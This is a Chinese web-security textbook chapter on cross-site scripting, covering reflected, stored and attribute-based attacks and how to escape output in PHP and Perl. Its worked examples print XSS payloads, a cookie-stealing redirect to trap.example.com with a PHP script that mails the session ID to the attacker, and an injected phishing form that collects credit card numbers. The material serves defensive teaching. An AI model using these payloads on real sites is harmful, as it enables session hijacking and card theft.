4.3 页面显示的相关问题
页面显示处理中会产生的安全性问题有如下两项。
- 跨站脚本
- 错误消息导致的信息泄漏
这里,我们将跨站脚本分成 4.3.1(基础篇)和 4.3.2(进阶篇)两部分进行详细讲述。进阶篇将涉及应用程序动态生成的显示内容中包括 URL、JavaScript 和 CSS(Cascading Style Sheets)等的情况。而不涉及动态生成的内容的情况下,则只需彻底掌握基础篇的知识即可。
错误消息导致的信息泄漏将在 4.3.3 节中介绍。
4.3.1 跨站脚本(基础篇)
概要
通常情况下,在 Web 应用的网页中,有些部分的显示内容会依据外界输入值而发生变化,而如果生成这些 HTML 的程序中存在问题,就会滋生名为跨站脚本(Cross-Site Scripting)的安全隐患。跨站脚本的英语名称很长,所以经常缩写为 XSS8 。本书也采用 XSS 这一缩写形式。
8 之所以不缩写为 CSS,是为了避免与 Cascading Style Sheets 的缩写混淆。
Web 应用若存在 XSS 漏洞,就会有下列风险。
- 用户的浏览器中运行攻击者的恶意脚本,从而导致 Cookie 信息被窃取,用户身份被冒名顶替
- 攻击者能获得用户的权限来恶意使用 Web 应用的功能
- 向用户显示伪造的输入表单,通过钓鱼式攻击窃取用户的个人信息
Web 应用的网页上显示外界传入参数的场所不在少数,只要有一处存在 XSS 漏洞,网站的用户就会有被冒名顶替的风险。
Web 应用中需要防范 XSS 漏洞的地方很多,然而网站运营方却普遍对此疏忽大意,对实施防范措施不够重视。但是,现实中 XSS 攻击是确实存在的,而且 XSS 的受害者也与日俱增,因此,在 Web 应用中采取防范 XSS 漏洞的策略必不可少。
防范 XSS 的策略为,页面显示时将 HTML 中含有特殊意义的字符(元字符)转义(Escape)。具体内容之后会进行详述。
XSS 漏洞总览
攻击手段与影响
为了更好地理解 XSS 的攻击方法与影响,首先让我们来看一下 XSS 被恶意使用的 3 种方式。
- 窃取 Cookie 值
- 通过 JavaScript 攻击
- 篡改网页
- XSS 窃取 Cookie 值
假设以下 PHP 脚本是搜索页面的一部分。该页面需要用户登录后才能使用,页面上显示的是搜索关键词。
代码清单 /43/43-001.php
<?php session_start(); // 登录校验(略) ?> <body> 检索关键词 :<?php echo $_GET['keyword']; ?><br> 以下略 </body>
先来看一下正常运行的情况,假设关键词为“Haskell”,URL 如下。
http://example.jp/43/43-001.php?keyword=Haskell
此时页面显示内容如下。
图 4-11 指定关键词为“Haskell”(正常情况)
接下来是攻击的例子。关键词指定如下。
keyword=<script>alert(document.cookie)</script>
页面显示如下 9 。
图 4-12 会话 ID 被读取
如图所示,保存在 Cookie 中的会话 ID(PHPSESSID)被显示了出来。表明外部注入的 JavaScript 成功读取到了会话 ID。
- 使用被动攻击盗取他人的 Cookie 值
然而,能够显示自己的会话 ID 对于攻击者来说并无太大意义,在实际的攻击中,攻击者需要将存在隐患的网站的用户引诱至恶意网站。以下就是恶意网站的示例。
代码清单 /43/43-900.html
<html><body> 商品大甩卖 <br><br> <iframe width=320 height=100 src="https://www.wenjiangs.com/wp-content/uploads/2024/10/http://example.jp/43/43-001.php?keyword=<script>window.location='http://trap.example.com/43/43-901.php?sid='%2Bdocument.cookie;</script>"></iframe> </body></html>
恶意网站的 HTML 使用了 iframe 元素来显示存在隐患的网站的页面(/43/43-001.php),并对其实施 XSS 攻击 10 。存在隐患的网站的用户只要浏览了该恶意网站,浏览器中 iframe 里面的页面就 会受到 XSS 攻击。
图 4-13 恶意网站构造示例
1. 恶意网站的 iframe 中显示出存在隐患的网站
2. 存在隐患的网站遭受攻击后,Cookie 值被添加到 URL 的查询字符串中,页面跳转到信息收集页面
3. 信息收集页面将接收到的 Cookie 值通过邮件发送给攻击者
图 4-13 展示了恶意网站的运作方式。打开图左侧的页面时,iframe 中会使用如下 URL 访问隐患网页。
http://example.jp/43/43-001.php?keyword=<script>window.location='http://trap.example.com/43/43-901.php?sid='%2Bdocument.cookie;</script>
然后,存在隐患的网页中就会执行如下 JavaScript 代码。为了易于阅读,此处对其进行了适当的换行。
<script> window.location='http://trap.example.com/43/43-901.php?sid=' +document.cookie; </script>
这段 JavaScript 脚本的作用为,添加 Cookie 值作为 URL 的查询字符串,并跳转至信息收集页面(43-091.php)11 。以下为收集信息用的脚本,它会将收集到的会话 ID 发送给攻击者的邮箱(假定为 wasbook@example.jp)。
代码清单 /43/43-901.php
<?php mb_language('Japanese'); $sid = $_GET['sid']; mb_send_mail('wasbook@example.jp', ' 攻击成功 ', ' 会话 ID:' . $sid, 'From: cracked@trap.example.com'); ?> <body> 攻击成功 <br> <?php echo $sid; ?> </body>
邮件发送结果如图 4-14 所示。
图 4-14 通过邮件收集浏览了恶意网站的用户的会话 ID
如此这般,如果用户是在登录了存在隐患的网站之后浏览的恶意网页,就会中了 XSS 的招而使自己的会话 ID 通过邮件发送给攻击者。攻击者利用得到的会话 ID,就可以伪装成其他用户肆意妄为。
- 使用被动攻击盗取他人的 Cookie 值
- 通过 JavaScript 攻击
在上面的例子中,攻击者利用 JavaScript 读取到了用户的 Cookie 值,然而,事实上利用 JavaScript 实施的攻击却远不止如此。其中一个典型的案例就是利用 XSS 制造的蠕虫病毒。下表列举了专门攻击美国大型网站的蠕虫病毒。
表 4-3 XSS 蠕虫病毒
时期 蠕虫名 目标网站 主要行为 2005 年 10 月 JS/Spacehero(samy) myspace.com 为名为 samy 的账户增加好友 2006 年 6 月 JS.Yamanner@m Yahoo !邮箱(美国版) 向感染者的通讯录中的邮箱地址发送病毒 2009 年 4 月 JS.Twettir twitter.com 将病毒复制到感染者的个人资料页面中 2010 年 9 月 - twitter.com 自动发布跳转至成人网站的信息等 虽然这些蠕虫病毒表面上看上去并不带有恶意,但如果罪犯有决心的话,就能够收集大量的用户个人信息或者伪装他人发布信息,从而形成潜在的巨大风险。
另外,随着 Ajax 技术的风靡,通过 JavaScript 调用 Web 应用的各种功能的程序(Application Program Interface,缩写为 API)在网站中的分量正在逐步增加。由于 API 也能被恶意用于实施攻击,因此,综合使用 XSS 与 JavaScript 的攻击实施起来反而变得更容易了。
- 篡改网页
以上解说的攻击手段中,XSS 攻击的对象网站仅限于支持会员登录的网站。其实,没有登录功能的网站同样也会遭受 XSS 攻击。
图 4-15 是某新发布的手机的预购网站。该网站由于存在 XSS 漏洞,因此便能够对网页中的 HTML 元素进行添加 / 更改 / 删除,或者更改表单发送的目标。
图 4-15 某新款手机的预购网站
网页脚本的主干内容如下 12 。由于该页面兼任着输入页面和编辑页面,因此各个输入框都设置了初期值。而 XSS 漏洞就存在于此。
代码清单 43/43-902.php
<!DOCTMPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head><title> 全新手机预约 </title></head> <body> <form action="" method="POST"> 姓 名 <input size="20" name="name" value="<?php echo @$_POST['name']; ?>"><br> 地 址 <input size="20" name="addr" value="<?php echo @$_POST['addr']; ?>"><br> 电话号码 <input size="20" name="tel" value="<?php echo @$_POST['tel']; ?>"><br> 型 号 <input size="10" name="kind" value="<?php echo @$_POST['kind']; ?>"> 数 量 <input size="5" name="num" value="<?php echo @$_POST['num']; ?>"> <br> <input type=submit value=" 申请 "></form> </body> </html>
虽然该网站没有认证功能,但同样能对其实施 XSS 攻击。
以下 HTML(43-902.html)为对“某新款手机的预约网站”进行 XSS 攻击的恶意网页。该页面同时也可以作为不使用 JavaScript 的 XSS 攻击的示例,页面上通过样式将攻击用表单的提交按钮伪装成了链接的样子。
代码清单 43/43-902.html
<html> <head><title> 使用信用卡预约全新手机 </title></head> <body> 现在可以使用信用卡预约手机,赶紧下单吧。 <BR> <form action="http://example.jp/43/43-002.php" method="POST"> <input name="name" type="hidden" value=''></form><form style=top:5px;left:5px;position:absolute;z-index:99;background-color:white action=http://trap.example.com/43/43-903.php method=POST>请使用信用卡支付预购定金<br>姓 名<input size=20 name=name><br>地 址<input size=20 name=addr><br>电话号码<input size=20 name=tel><br>型 号<input size=10 name=kind>数量<input size=5 name=num><br>信用卡号<input size=16 name=card>有效期限<input size=5 name=thru><br><input value=申请 type=submit><br><br><br><br><br></form> '> └─注入的 HTML <input style="cursor:pointer;text-decoration:underline;color:blue; border:none; background:transparent;font-size:100%;" type="submit" value="手机预约中心"> </form> └────伪装成链接的按钮 </body> </html>
下图为恶意网页的页面。
图 4-16 恶意网页
用户点击伪装成链接的按钮后,如下 HTML 就会被生成在攻击对象网站上。
<FORM action="" METHOD=POST> ┌使原先的 from 元素结束 姓 名 <INPUT size="20" name="name" value=""></form> ┌通过指定样式将原先的 form 覆盖 <form style=top:5px;left:5px;position:absolute;z-index:99;background-color:white ┌─────篡改 action 目标至恶意网站 action=http://trap.example.com/43/43-903.php method=POST> 请使用信用卡支付预购定金 <br> 姓 名 <input size=20 name=name><br> 地 址 <input size=20 name=addr><br>电话号码 <input size=20 name=tel><br> 型 号 <input size=10 name=kind> 数 量 <input size=5 name=num><br> 信用卡号 <input size=16 name=card> 有效期限 <input size=5 name=thru><br><input value= 申请 type=submit><br><br><br><br><br> </form>"><BR>
恶意网页通过下列手段隐藏原先的 form 并添加新的 form,从而改变页面。
- 使用 </form> 使原先页面的 form 元素结束
- 添加新的 form 元素,并指定 style 如下
- 通过指定绝对座标将 form 的位置定位于左上角
- 将 z-index 设置为很大的值 (99),确保其堆叠顺序在原先 form 的前面
- 将背景色设为白色,从而隐藏原先的 form
- 将 action 的 URL 指定为恶意网站
被更改后的页面如下图所示。
图 4-17 被更改后的手机预购网站
页面上被添加了“请使用信用卡支付预购定金”和输入信用卡卡号及有效期限的文本框。此外,尽管页面上看不出来,但 form 元素的 action 属性也已经被变成了恶意网站的 URL。
然而,浏览器地址栏上显示的 URL 却同先前的手机预购网站完全一致。此外,虽然本例没有涉及,但事实上当网站为 https 时其证书也会被显示为正规。因此,用户便找不到任何蛛丝马迹来识破这一伪装的页面。
由此可见,XSS 并非一定会使用 JavaScript,因此,如果防范策略仅局限于 script 元素(例如将“script”单词全部删除),攻击者还是会有可乘之机。而对用户来说,仅在浏览器中禁止 JavaScript 也是不能得以高枕无忧的。
- 反射型 XSS 与存储型 XSS
接下来我们将换个视角,根据攻击用 JavaScript 代码的存储地点将 XSS 攻击分类。
如果攻击用 JavaScript 代码位于攻击目标网站之外的其他网站(恶意网站或邮件中的 URL),就称之为反射型 XSS(Reflected XSS)。最先介绍的 43-001.php 中的 XSS 攻击模式,就属于反射型 XSS。反射型 XSS 多发生于网页将用户的输入值原封不动地显示出来的情况下。其中,输入值确认页面就是一个典型的例子。
图 4-18 反射型 XSS
与此相对,有时攻击者也会将攻击用 JavaScript 代码保存至攻击对象的数据库中。这种模式的 XSS 就被称为存储型 XSS(Stored XSS)或持久性 XSS(Presistent XSS)。
图 4-19 存储型 XSS
存储型 XSS 的典型攻击对象为 Web 邮箱客户端以及社交网站(Social Networking Service,简称 SNS)。存储型 XSS 无需攻击者费尽心思将用户引诱至恶意网站,而且即使是戒心很重的用户也会有很大的几率中招,因此对攻击者来说益处多多。
存储型 XSS 产生的原因同样也位于生成 HTML 的地方。
除此之外,当网页中存在不通过服务器而仅依靠前端 JavaScript 来显示的参数时,就有可能会招致 DOM based XSS 这种类型的 XSS 发生。详情将在 4.3.2 节介绍。
9 IE8 默认启用 XSS 筛选器的情况下,会阻挡通过 XSS 执行的 JavaScript。若要在 IE8 中显示图 4-12 的效果,可以选择“工具”菜单的“Internet 选项”→选择“安全”标签→点击“自定义级别”→脚本→启用 XSS 筛选器→关闭。实验结束后,再将设置改回。
10 实际的攻击中,攻击者会通过设置 CSS 将 iframe 部分隐藏,以不被用户看到。
11 其实 43-091.php 中也存在 XSS 漏洞,但假设攻击者对此并不知情。
12 $_POST
变量前面的“@”为错误控制运算符,用于忽略该 POST 变量未定义时发生的错误。
安全隐患的产生原因
XSS 漏洞产生的原因为,生成 HTML 的过程中,HTML 语法中含有特殊意义的字符(元字符)没有被正确处理,结果导致 HTML 或 JavaScript 被肆意注入,从而使得原先的 HTML 结构产生变化。为了消除元字符的特殊意义,将其转化为普通字符,就需要用到转义(Escape)处理。HTML 的转义处理对于消除 XSS 至关重要。
接下来就让我们来看一下 HTML 中转义的方法,以及不转义时将会遭受的攻击。
- HTML 转义的概要
这里我们来重点看一下如何正确地进行 HTML 转义。
例如,在 HTML 中显示 < 时,必须按照字符实体引用(Character Entity Reference)将其转义记载为 <。而如果忽略这一步骤直接生成 HTML 的话,浏览器就会将
<
解释为标签的开始。从而就会招致恶意利用此漏洞进行的 XSS 攻击。在 HTML 中,根据字符所处位置的不同,应当转义的元字符也会发生变化。基本篇将对图 4-20 中的元素内容和属性值的转义方法进行介绍。
<html> <body> <form ...> <input name="tel" value="03-1234-5678 "> <input type="submit"> └──属性值 </form> <p> 元素内容 </p> </form> </html>
图 4-20 元素内容和属性值的说明
下表归纳了不同位置的参数的转义方法。
表 4-4 参数所在位置及相应的转义方法
位置 说明 最低限度的转义内容 元素内容 - 能解释 Tag 和字符实体
- 结束边界字符为“<”
“<”和“&”使用字符实体转义 属性值(双引号中 的内容) - 能解释字符实体
- 结束边界字符为双引号
属性值用双引号括起来,“<”和“&”和“`"`”使用字符实体转义13
13 尽管要求将属性值中的 < 转义的是 XHTML,但 HTML4.01 的情况下也可以进行转义。
接下来就让我们来探讨一下不进行转义时将会受到怎样的 XSS 攻击。
- 元素内容的 XSS
关于元素内容(通常为文本格式)中发生的 XSS,之前在介绍“通过 XSS 窃取 Cookie 值”时已经做过讲述。元素内容中发生的 XSS 是最基本的攻击模式,经常发生于没有将
<
转义的情 况下。 - 没有用引号括起来的属性值的 XSS
如下脚本中的属性值没有用引号括起来。
代码清单 /43/43-003.php
<body> <input type=text name=mail value=<?php echo $_GET['p']; ?>> </body>
此时,假设
p
的值如下。1+onmouseover%3dalert(document.cookie)
URL 中的
+
代表空格,%3d
代表等号=
(百分号编码)。因此,之前的 input 元素就变成了如下这般。<input type=text name=mail value=1 onmouseover= alert(document.cookie)>
属性值没有用引号括起来时,空格就意味着属性值的结束,因此就可以通过插入空格来添加属性。此处即被添加了 onmouseover 事件绑定。
如下图所示,将鼠标移到 input 元素的文本输入框上时,JavaScript 就会被执行。
图 4-21 XSS 攻击成功
- 用引号括起来的属性值的 XSS
然而,即使属性值都用引号括了起来,但只要
"
没有被转义,还是会发生 XSS 攻击。比如,如下脚本中属性值就用引号括了起来。代码清单 /43/43-004.php
<body> <input type="text" name="mail" value="<?php echo $_GET['p']; ?>"> </body>
此时,假设
p
的值如下。"+onmouseover%3d"alert(document.cookie)
之前的 input 元素就变成了如下这般。
<input type="text" name="mail" value="" onmouseover="alert(document.cookie)">
value=""
使得 value 属性结束,onmouseover 以后的字符被解释为事件绑定。因此,结果同前项相同。
对策
至此我们已经了解到 XSS 漏洞产生的主要原因是生成 HTML 时没有对 < 和 " 转义。因此,将特殊字符转义显然就是重要对策,但就像上文中介绍的那样,依据字符在 HTML 中的位置不同,转义方针也各不相同。
但是,分类太细反而又会使编程复杂化,因此,下面我们将介绍一些共通性较强的对策。
- XSS 对策的基础
在一般的 HTML(JavaScript 和 CSS 除外)中,使用字符实体进行转义是 XSS 对策的基础。正如上文“安全隐患的产生原因”中所写的那样,HTML 中最低限度的防范策略如下 14 。
- 元素内容中转义 < 和 &15
- 属性值用双引号括起来,并转义 < 和 " 和 &
使用 PHP 开发应用时,可以使用
htmlspecialchars
函数进行 HTML 的转义。htmlspecialchars
最多可接收 4 个参数,其中,与安全性相关的前 3 个参数尤其重要。格式清单 htmlspecialchars 函数
string htmlspecialchars(string $string, int $quote_style, string $charset);
各参数的意义详见下表。
表 4-5 htmlspecialchars 函数的参数
参数 说明 `$string` 转换对象字符串 `$quote_style` 引号的转换方法,参考表 4-6 `$charset` 字符编码。如 UTF-8、GBK 使用示例
echo htmlspecialchars($p, ENT_QUOTES, "UTF-8");
表 4-6 htmlspecialchars 函数中的转换对象字符
转换前 转换后 $quote_style 以及转换对象字符 ENT_NOQUOTES ENT_COMPAT ENT_QUOTES `<` `<` ○ ○ ○ `>` `>` ○ ○ ○ `&` `&` ○ ○ ○ `"` `"` × ○ ○ `'` `'` × × ○ 而实际编程中我们只要采取如下方针即可。
- 转义元素内容时
$quote_style
可设为任意值 - 属性值按照以下两个方针处理
- 属性值用双引号括起来
- 将
$quote_style
设为ENT_COMPAT
或ENT_QUOTES
- htmlspecialchars 函数的第三个参数
htmlspecialchars
函数的第三个参数是指定字符编码。PHP 脚本的情况下,输入 / 内部 / 输出可以分别指定不同的字符编码,但htmlspecialchars
函数中指定的字符编码需与 PHP 的内部字符编码一致。如果指定有误的话函数的处理就会不正常,所以务必要正确指定。
- 指定响应的字符编码
如果 Web 应用与浏览器各自设想的字符编码不一致,也会成为 XSS 的原因。PHP 中提供了多种指定字符编码的方法,其中最可靠的方法是采用
header
函数,如下所示。header('Content-Type: text/html; charset=UTF-8');
关于字符编码的详细内容请参考第 6 章。
- XSS 的辅助性对策
此处介绍一些能够缓和 XSS 攻击的对策。虽然上文已经介绍了 XSS 攻击的根本性对策,但是,由于需要提防的地方实在太多,而且依据 HTML 中位置的不同,防范策略也各异,因此很容易有所疏漏。而通过实施下面介绍的辅助性对策,即使根本性对策的实施有所疏漏,也能减轻攻击造成的损害。
- 输入校验
就像 4.2 节中介绍的那样,通过检验输入值的有效性,当输入值不符合条件时就显示错误消息并促使用户重新输入,有时也能够防御 XSS 攻击。
当且仅当输入值为字母或数字的情况下,输入校验才能预防 XSS 攻击,如果输入框允许所有的字符就无法防御 XSS 攻击了。
- 给 Cookie 添加 HttpOnly 属性
Cookie 中有名为 HttpOnly 的属性,该属性能禁止 JavaScript 读取 Cookie 值。
通过给 Cookie 添加 HttpOnly 属性,能够杜绝 XSS 中窃取会话 ID 这一典型的攻击手段。但需注意的是其他攻击手段依然有效,所以这样只是限制了攻击者的选择范围,并不能杜绝所有 XSS 攻击。
使用 PHP 开发应用时,给会话 ID 添加 HttpOnly 属性,可以在 php.ini 中做如下设置。
session.cookie_httponly = On
详情请参考 PHP 的说明文档。
- 关闭 TRACE 方法
这是跨站追踪(Cross-Site Tracing,简称 XST)攻击的防范策略。XST 是指利用 JavaScript 发送 HTTP 的 TRACE 方法来窃取 Cookie 值或 Basic 认证密码的攻击手段。
XST 攻击利用的是 XSS 漏洞,所以只要消除了 XSS 漏洞就能保证安全无虞。而为了以防实施防范策略时有所遗漏,可以通过关闭 TRACE 方法来防御 XST 攻击。实际上,现在的主流浏览器都已经能够自己防御 XST,所以只要用户不使用一些另类的浏览器,就可以不用顾虑 XST 攻击。
在 Apache 中,关闭 TRTACE 方法,可以在 httpd.conf 中做如下设置。
TraceEnable Off
- 输入校验
- 对策总结
根本性对策(个别对策)
- HTML 的元素内容
使用
htmlspecialchars
函数转义 - 属性值
使用
htmlspecialchars
函数转义并用双引号括起来
根本性对策(共通对策)
- 明确设置 HTTP 响应的字符编码
辅助对策
- 输入校验
- 给 Cookie 添加 HttpOnly 属性
- 关闭 TRACE 方法
- HTML 的元素内容
14 XHTML 的属性值 < 也是转义对象。
15 script 和 style 元素除外。script 元素内转义将在下一部分内容(4.3.2)中讲述。
参考:使用 Perl 的对策示例
接下来向大家介绍一下 Perl 中能够用来防范 XSS 的功能。
- 使用 Perl 进行 HTML 转义的方法
在 Perl 中转义 HTML 时,能够使用 CGLpm 中的
escapeHTML
方法。# 声明使用 CGI.pm 与 escapeHTML use CGI qw(escapeHTML); my $query = new CGI; # 生成 CGI 对象 # ... my $ep = escapeHTML($p); # 将 $p 进行 HTML 转义后赋值给 $ep
- 指定响应的字符编码
在程序的开头加上如下代码,就可以指定 HTTP 响应的字符编码。
# 在程序的开头处 use CGI; my $query = new CGI; # 生成 CGI 对象 # 输出响应之前 print $query->header(-charset => 'UTF-8');
4.3.2 跨站脚本(进阶篇)
本节作为前一节的补充,将继续介绍其他形式的跨站脚本安全隐患,即 href 等保存 URL 的属性值、事件绑定函数以及 script 元素。
前面已经提到过转义参数的方法根据其在 HTML 中的位置不同而不同,因此,这里我们将上一节的图 4-20 扩充,如图 4-22 所示。
┌脚本(事件绑定) │ │ ┌─事件绑定函数中的 │ │ 字符串字面量 <html> ↓ ↓ <body onload="init('xxxx' ); "> <form ...> <input name="tel" value="03-1234-5678 "> <input type="submit"> ↑ </form> └─属性值 <a href="http://example.jp/ "> xxxx </a> <p> ↑ 元素内容 └────属性值(URL) </p> <script type="test/javascript"> var x = ...; ←──脚本 document.write('John '); </script> ↑ </form> └──────script 元素中的 </html> 字符串字面量
图 4-22 HTML 的组成元素
与上图相对应,下表为扩充后的 HTML 转义概要。
表 4-7 HTML 转义概要
位置 | 说明 | 转义概要 |
---|---|---|
元素内容(普通文本) | 能解释 Tag 和字符实体。结束边界字符为“<” | “<”和“&”使用字符实体转义 |
属性值 | 能解释字符实体。结束边界字符为双引号 | 属性值用双引号括起来,“<”和“&”和“"”使用字符实体转义 |
属性值(URL) | 同上 | 检验 URL 格式正确后按照属性值的规则转义 |
事件绑定函数 | 同上 | 转义 JavaScript 后按照属性值的规则转义 |
script 元素中的字符串字面量 | 不能解释 Tag 和字符实体。结束边界字符为“</” | 转义 JavaScript 并避免出现“</” |
其中,元素内容与属性值已在上一节讲述,接下来我们来看一下其他三项。
href 属性与 src 属性的 XSS
有些属性的值为 URL,比如 a 元素的 href 属性、img 元素、frame 元素、iframe 元素的 src
属性等。如果属性中 URL 的值是由外界传入的话,外界就能够使用 javascript:JavaScript 代码形式(javascript 协议)的 URL 执行 JavaScript 代码 16 。比如,下面这段示例脚本的目的就是使用外界传入的 URL 来生成链接。
16 除了 javascript 协议,还有 VBScript 协议(vbscript:)
代码清单 /43/43-010.php
<body>
<a href="<?php echo htmlspecialchars($_GET['url']); ?>"> 书签 </a>
</body>
作为攻击示范,下面我们使用以下 URL 来执行这段脚本。
http://example.jp/43/43-010.php?url=javascript:alert(document.cookie)
生成的 HTML 如下。如你所见,href 属性被设置了 JavaScript 协议,从而便能够执行 JavaScript 代码。
<body>
<a href="javascript:alert(document.cookie)"> 书签 </a>
</body>
在页面上点击“书签”链接后,JavaScript 就会被执行。
图 4-23 XSS 攻击成功
在指定 URL 的 href 属性与 src 属性等中,有时 javascript 协议是有效的。
javascript 协议引发的 XSS,其根源不是没有进行 HTML 转义,这与之前介绍的 XSS 有所不同,因此,其防范对策也不尽相同。
- 生成 URL 时的对策
当 URL 由程序动态生成时,需要对其进行校验,仅允许 http 和 https 协议。此外,通过校验的 URL 还需要作为属性值进行 HTML 转义 17 。
具体来说,URL 需满足下列两个条件中的一个。
- 以 http: 或 https: 开头的绝对 URL
- 以 / 开头的相对 URL
以下为能够实现上述校验的函数示例。
function check_url($url) { if (preg_match('/\Ahttp:/', $url) || preg_match('/\Ahttps:/', $url) || preg_match('#\A/#', $url)) { return true; } else { return false; } }
传入该函数的字符串如果以 http:、https: 或 / 开头则返回 true,否则就返回 false。
- 校验链接网址
如果外界能够任意指定链接的跳转去向,用户就有可能被引向恶意网站,从而被攻击者通过钓鱼式攻击方式骗取个人信息。因此,在不明确跳转至的外部网站的链接时,可以执行如下任一操作。
- 检查链接的目标 URL,如果指向外部网站就报错
- 当链接目标为外部 URL 时,显示一个警告页面以提醒用户可能存在风险
关于以上两种方法的详情请参考 4.7.1 节。
17 尽管与 XSS 无关,生成 URL 时也依然需要进行百分号编码。
JavaScript 的动态生成
- 事件绑定函数的 XSS
在当今的 Web 应用中,服务器端动态生成一部分 JavaScript 的情况实属常见。其中,一个典型的例子就是动态生成 JavaScript 中的字符串字面量。
比如,下面的 PHP 脚本中,在 body 元素的 onload 事件中调用函数时的参数就是由服务器端动态生成的 18 。
代码清单 /43/43-012.php
<head><script> function init(a) {} // 空函数 </script></head> <body onload="init('<?php echo htmlspecialchars($_GET['name'], ENT_QUOTES) ?> ')"> </body>
这里使用
htmlspecialchars
函数进行了转义,因此貌似很妥善,但其实这段 PHP 脚本中存在 XSS 漏洞。试使用以下查询文字列来启动脚本。name=');alert(document.cookie)//
启动后将生成如下 HTML。
<body onload="init('');alert(document.cookie)//')">
由于 onload 事件绑定函数本质上是 HTML 中的属性值,能解释字符实体,因此,如下 JavaScript 代码就会被执行。
init('');alert(document.cookie)//')
init
函数的参数字符串字面量被迫终结,后面被添加了其他语句。这时,页面显示如图 4-24。图 4-24 XSS 攻击成功
此处之所以会混入安全隐患,是因为没有将 JavaScript 字符串字面量进行转义。因此,输入参数中的单引号没有被识别为字符,而是被当成了 JavaScript 中字符串的结束符。
为了避免这种情况,理论上应采取如下措施。
1. 首先,将数据作为 JavaScript 字符串字面量进行转义
2. 将得到的结果再次进行 HTML 转义
下表为 JavaScript 字符串字面量中必须被转义的字符。
表 4-8 JavaScript 字符串字面量中应被转义的字符
字符 转义后 `\` `\\` `'` `\'` `"` `\"` 换行 `\n` 按照上述规则,假设输入值为 < >' "\,就应该进行如下转义。
表 4-9 JavaScript 字符串字面量中应被转义的字符
原字符 JavaScript 转义后 HTML 转义后 `<>'"\` `<>\'\"\\` `<>\'\"\\` 而 JavaScript 更为实际的转义方法在后面介绍“JavaScript 字符串字面量动态生成的对策”时会进行讲述。
- script 元素的 XSS
下面我们来看一下当 script 元素内 JavaScript 的一部分是动态生成时的 XSS 漏洞。script 元素中不能解释 Tag 和字符实体,所以无需进行 HTML 转义,只要进行 JavaScript 的转义即可。但是,仅此还不够。比如下面的这段脚本就含有安全隐患。
代码清单 /43/43-013.php
<?php function escape_js($s) { return mb_ereg_replace('([\\\\\'"])', '\\\1', $s); } ?> <body> <script src="https://www.wenjiangs.com/wp-content/uploads/2024/10/jquery-1.4.4.min.js"></script> 你好,<span id="name"></span> <script> $('#name').text('<?php echo escape_js($_GET['name']); ?> '); </script> </body>
通过在 \、'、" 前插入 \,
escape_js
函数就能将输入值作为 JavaScript 字符串字面量进行转义。这段代码看似安全无虞,但是当输入值中包含 </script> 时,</script> 就会被当成 JavaScript 代码的结束符(下图)。
<script> foo('</script> '); </script>
这段代码中有两处
</script>
,script 元素会在遇到第一个</script>
时结束。script 元素不考虑上下文,只要看到</script>
就会立刻终结(图 4-25)。<script> ●●●●●●●●●● </script> ↑ 浏览器不会考虑 JavaScript 的语法, 仅负责将<script>和</script>中间 的部分传送给 JavaScript 引擎处理。
图 4-25 浏览器识别 JavaScript
这时,攻击者就可以恶意利用这一特性,并输入以下值来实施 XSS 攻击。
</script><script>alert(document.cookie)//
页面显示如下。
图 4-26 XSS 攻击成功
根据 HTML 的规格,script 元素中的数据不能出现 </。而字符实体因不能被解释也不能使用。所以,必须通过变更生成的 JavaScript 代码来避免这些问题。以下就是具体的对策。
- JavaScript 字符串字面量动态生成的对策
综上所述,动态生成 JavaScript 字符串字面量时需要遵循以下规则。
(1)按照 JavaScript 语法,将引号(单引号及双引号)和斜杠 \ 及换行符等进行转义。 " → \"' → \' 换行符→ \n \ → \(2-1)如果是事件绑定函数,将(1)的执行结果按照字符实体进行 HTML 转义,并用双引号括起来(2-2)如果是在 script 元素中,执行(1)后确保字符串中不存在 </。
虽然理论上如此,但 JavaScript 的转义规则相当复杂,执行起来很容易产生疏漏,因此一直以来都是安全隐患诞生的温床。鉴于这种情况,最好的办法可能就是避免动态生成 JavaScript。然而,现实中又会经常需要传给 JavaScript 的参数是动态的,因此,接下来就向大家介绍一下这种情况下可以采取的两类处理方法。
- Unicode 转义
为了规避动态生成 JavaScript 带来的风险,可以采取将字母和数字以外的所有字符都进行转义的方法。这种方法利用了 JavaScript 能将 Unicode 代码点 U+XXXX 字符转义为 \uXXXX 的功能。
下面就是实施 Unicode 转义的
escape_js_string
函数的例子。前提是字符编码为 UTF-8。escape_js_string
中,除了字母和数字以外,减号(-)和点号(.)也不进行转义。因此 像-1.37 这样的数值就不会被转义。不转义减号和点号对安全性不会有影响。代码清单 /43/escape_js_string.php
<?php // 将字符串全部转换为 \uXXXX 形式 function unicode_escape($matches) { $u16 = mb_convert_encoding($matches[0], 'UTF-16'); return preg_replace('/[0-9a-f]{4}/' , '\u$0', bin2hex($u16)); } // 将除了字母、数字、逗号和点号外的字符转义为 \uXXXX 形式 function escape_js_string($s) { return preg_replace_callback('/[^-\.0-9a-zA-Z]+/u', 'unicode_escape', $s); } ?>
调用例
<script> alert('<?php echo escape_js_string(' 吉 and 吉 '); ?>'); </script>
生成的脚本
<script> alert('\ud842\udfb7and\u5409'); </script>
脚本解说
unicode_escape
函数的功能为将输入字符串全部以 \uXXXX 的 UNICODE 形式进行转义- 在
mb_convert_encoding
中将输入字符串的字符编码转换为 UTF-16 - 在
bin2hex
中将对象字符串转换为十六进制 - 使用正则表达式,每 4 个字节插入一个 \u
escape_js_string
函数的功能为将字母与数字以外的字符转义为 \uXXXX 的形式- 在
preg_replace_callback
函数中,将字母和数字以外的字符串全部传给unicode_escape
函数处理
- JavaScript 中引用定义在 script 元素外的参数的方法
为了避免动态生成 JavaScript,在 script 元素外部定义参数后再在 JavaScript 中引用该参数也是一个解决方案。不过,该方案的实施需要利用 hidden 参数。
下面展示了利用 hidden 参数的示例脚本。前提条件是内部字符编码为 UTF-8。
<input type="hidden" id="familyname" value="<?php echo htmlspecialchars($familyname, ENT_COMPAT, 'UTF-8'); ?> "> ... <script type="text/javascript"> var familyname = document.getElementById('familyname').value; //...
开头的 input 元素指定了
id="familyname"
以使其能被引用。此外,根据属性值的转义规则,第 2 行在设值时使用了htmlspecialchars
进行转义并将其用双引号括了起来。而 input 的值则在倒数第 2 行被
getElementById
方法引用。此方案的优点为,由于避开了 JavaScript 特有的繁琐问题,只需遵守少量规则就能防范 XSS,因此思路比较简单。而缺点就是定义 JavaScript 代码与参数的地方相隔较远,可能会使脚本的可读性降低。
读者在实际操作时,可以在综合考虑两种方案的特性后,根据实际情况做出抉择。
- Unicode 转义
18 为了方便读者理解,支持页面中收录的代码添加了在页面上显示查询字符串的处理。
DOM based XSS
